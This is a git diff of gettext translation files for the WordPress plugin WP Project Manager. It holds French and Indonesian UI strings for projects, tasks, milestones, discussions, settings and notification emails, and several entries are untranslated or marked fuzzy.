views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Annuler" + +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select co-workers" +msgid "Select Color" +msgstr "Sélectionner un collègue" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Supprimer message" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Réalisé" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Notifier utilisateur" + +#: views/assets/src/components/project-activities/activities.vue:46 +msgid "Load More ..." +msgstr "" + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Ecrire un nouveau message" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +msgid "By" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Aucun utilisateur" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Nouveau Projet" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Tâches" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Etapes atteintes" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Réalisé sur :" + +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Etapes en retard" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Prochaines Etapes" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "restant" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Nouvelle liste de tâche" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "" + +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "" + +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +msgid "due date" +msgstr "" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Afficher tâche" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Nouveau message" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Lire message" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Afficher Projet" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +#, fuzzy +#| msgid "You are assigned in a new project \"%s\" on %s" +msgid "You are assigned to a project \"%s\" by %s." +msgstr "Vous êtes sollicité pour un nouveau projet \"%s\" sur %s" + +#: views/emails/html/update-task.php:12 +#, fuzzy +#| msgid "[%s] New task assigned to you" +msgid "Update task has been assigned to you" +msgstr "Une tâche mise à jour vous a été assignée" + +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Mettre à jour Liste" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +#~ msgid "Project created by %s" +#~ msgstr "Project créé par %s" + +#~ msgid "Project details updated by %s" +#~ msgstr "Détails du projet ajouté par %s" + +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Message \"%s\" supprimé par %s" + +#~ msgid "%s deleted a comment" +#~ msgstr "%s a supprimé un commentaire" + +#~ msgid "Messages" +#~ msgstr "Messages" + +#~ msgid "Edit Message" +#~ msgstr "Editer message" + +#~ msgid "Search Messages" +#~ msgstr "Rechercher messages" + +#~ msgid "Parent Message" +#~ msgstr "Message parent" + +#~ msgid "Add New Milestone" +#~ msgstr "Ajouter nouvelle étape" + +#~ msgid "New Milestone" +#~ msgstr "Nouvelle étape" + +#~ msgid "View Milestone" +#~ msgstr "Voir étape" + +#~ msgid "Search Milestone" +#~ msgstr "Rechercher étape" + +#~ msgid "Parent Milestone" +#~ msgstr "Etape parente" + +#~ msgid "Add Project" +#~ msgstr "Ajouter projet" + +#~ msgid "Edit Project" +#~ msgstr "Editer projet" + +#~ msgid "Search Project" +#~ msgstr "Rechercher Projet" + +#~ msgid "Parent Project" +#~ msgstr "Projet parent" + +#~ msgid "Add Task List" +#~ msgstr "Ajouter liste de tâche" + +#~ msgid "Add New Task List" +#~ msgstr "Ajouter nouvelle liste de tâche" + +#~ msgid "Edit Task List" +#~ msgstr "Editer liste de tâche" + +#~ msgid "View Task List" +#~ msgstr "Voir liste de tâche" + +#~ msgid "Search Task List" +#~ msgstr "Recherche liste de tâche" + +#~ msgid "Parent Task List" +#~ msgstr "Liste de tâche parente" + +#~ msgid "Add New Task" +#~ msgstr "Ajouter nouvelle tâche" + +#~ msgid "Edit Task" +#~ msgstr "Editer tâche" + +#~ msgid "New Task" +#~ msgstr "Nouvelle tâche" + +#~ msgid "Search Task" +#~ msgstr "Recherche tâche" + +#~ msgid "Parent Task" +#~ msgstr "Tâche parente" + +#~ msgid "Add this comment" +#~ msgstr "Ajouter ce commentaire" + +#~ msgid "late" +#~ msgstr "Retard" + +#~ msgid "Attached to %s by %s" +#~ msgstr "Joins %s par %s" + +#~ msgid "Error: Message not found" +#~ msgstr "Erreure : Aucun message" + +#~ msgid "Error: Project not found" +#~ msgstr "Erreur : Aucun projet" + +#~ msgid "Error: Permission denied" +#~ msgstr "Erreur : Vous n'avez pas les droits" + +#~ msgid "Message %s created by %s" +#~ msgstr "Message %s créé par %s" + +#~ msgid "Message %s updated by %s" +#~ msgstr "Message %s mis à jour par %s" + +#~ msgid "To-do list %s created by %s" +#~ msgstr "To-do liste %s créée par %s" + +#~ msgid "To-do list %s updated by %s" +#~ msgstr "To-do liste %s mise à jour par %s" + +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "To-do list \"%s\" supprimée par %s" + +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Tâche %s ajoutée à la to-do liste %s par %s" + +#~ msgid "To-do %s updated by %s" +#~ msgstr "Tâche %s mise à jour par %s" + +#~ msgid "To-do %s completed by %s" +#~ msgstr "Tâche %s réalisée par %s" + +#~ msgid "Marked to-do as done" +#~ msgstr "Passer cette tâche à résolue" + +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Tâche %s marquée non-résolue par %s" + +#~ msgid "Re-opened to-do" +#~ msgstr "Réouvrir la tâche" + +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Tâcge \"%s\" supprimée de la to-do list %s par %s" + +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Etape \"%s\" ajoutée par %s " + +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Etape \"%s\" mise à jour par %s " + +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Etape \"%s\" supprimée par %s " + +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Etape \"%s\" marquée atteinte par %s " + +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Etape \"%s\" marquée non atteinte par %s " + +#~ msgid "No Messages Found" +#~ msgstr "Aucun message trouvé" + +#~ msgid "No Messages Found in Trash" +#~ msgstr "Aucun message dans la corbeille" + +#~ msgid "No Milestone Found" +#~ msgstr "Aucune étape trouvée" + +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Aucune étape dans la corbeille" + +#~ msgid "No Project Found in Trash" +#~ msgstr "Pas de projet dans la corbeille" + +#~ msgid "No Task List Found" +#~ msgstr "Aucune liste de tâche trouvée" + +#~ msgid "No Task List Found in Trash" +#~ msgstr "Aucune liste de tâche dans la corbeille" + +#~ msgid "No Task Found" +#~ msgstr "Aucune tâche trouvée" + +#~ msgid "No Task Found in Trash" +#~ msgstr "Aucune tâche dans la corbeille" + +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Etes-vous sur de supprimer cette tâche ?" + +#~ msgid "Add this to-do" +#~ msgstr "Ajouter cette tâche" + +#~ msgid "-- milestone --" +#~ msgstr "-- étape --" + +#~ msgid "Update comment" +#~ msgstr "Mettre à jour commentaire" + +#~ msgid "To-do List" +#~ msgstr "To-do Liste" + +#~ msgid "Notify Co-workers" +#~ msgstr "Notifier collègues" + +#~ msgid "Private" +#~ msgstr "Privé" + +#~ msgid "Discuss this to-do list" +#~ msgstr "Discuter de cette to-do liste" + +#, fuzzy +#~ msgid "New Project Subject" +#~ msgstr "Nouveau Projet" + +#, fuzzy +#~ msgid "New Project Body" +#~ msgstr "Nouveau Projet" + +#, fuzzy +#~ msgid "New Message Subject" +#~ msgstr "Nouveau message" + +#, fuzzy +#~ msgid "New Message Body" +#~ msgstr "Nouveau message" + +#, fuzzy +#~ msgid "New Comment Subject" +#~ msgstr "Nouveau Projet" + +#~ msgid "-- assign to --" +#~ msgstr "-- assigner à --" + +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Pour joindre un fichier, Choisir les fichiers sur votre ordinnateur." + +#~ msgid "%d Comments" +#~ msgstr "%d Commentaires" + +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Réalisé par %s sur %s)" + +#~ msgid "Add a to-do" +#~ msgstr "Ajouter une tâche" + +#~ msgid "Reopen" +#~ msgstr "Ré-ouvrir" + +#~ msgid "No Files Found!" +#~ msgstr "Aucun fichier" + +#~ msgid "Add New" +#~ msgstr "Ajouter nouveau" + +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Aucun message ! Et si vous en écriviez un ?" + +#~ msgid "No Milestone Found!" +#~ msgstr "Aucune Etape" + +#~ msgid "Add new milestone" +#~ msgstr "Ajouter nouvelle Etape" + +#~ msgid "Project Info" +#~ msgstr "Info du projet" + +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Aucune To-do liste, très cher !" + +#~ msgid "Discuss this to-do" +#~ msgstr "Discuter de cette tâche" + +#~ msgid "New Project invitation on %s" +#~ msgstr "Invitation au nouveau projet %s" + +#~ msgid "You can see the project by going here: %s" +#~ msgstr "Vous pouvez voir le projet en cliquant sur : %s" + +#~ msgid "[%s] New message on project: %s" +#~ msgstr "[%s] Nouveau message à propos du projet : %s" + +#~ msgid "Permalink : %s" +#~ msgstr "Permalien : %s" + +#~ msgid "[%s] New comment on %s: %s" +#~ msgstr "[%s] Nouveau commentaire sur %s: %s" + +#~ msgid "Public" +#~ msgstr "Publique" diff --git a/languages/wedevs-project-manager-id_ID.po b/languages/wedevs-project-manager-id_ID.po index 0c8bd8caa..af20ef5cd 100644 --- a/languages/wedevs-project-manager-id_ID.po +++ b/languages/wedevs-project-manager-id_ID.po @@ -1,2068 +1,2068 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:53+0600\n" -"Last-Translator: Rizqy Hidayat \n" -"Language-Team: Tareq Hasan \n" -"Language: id_ID\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e\n" -"X-Poedit-Basepath: .\n" -"X-Generator: Poedit 2.0.8\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" -"X-Poedit-SearchPath-0: ..\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Pesan" - -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Daftar Tugas" - -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Tugas" - -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Berkas" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Perbarui Proyek" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Muat Lebih Banyak..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Berkas yang Diperbolehkan" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Pengaturan" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Manajer Proyek" - -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Proyek" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: 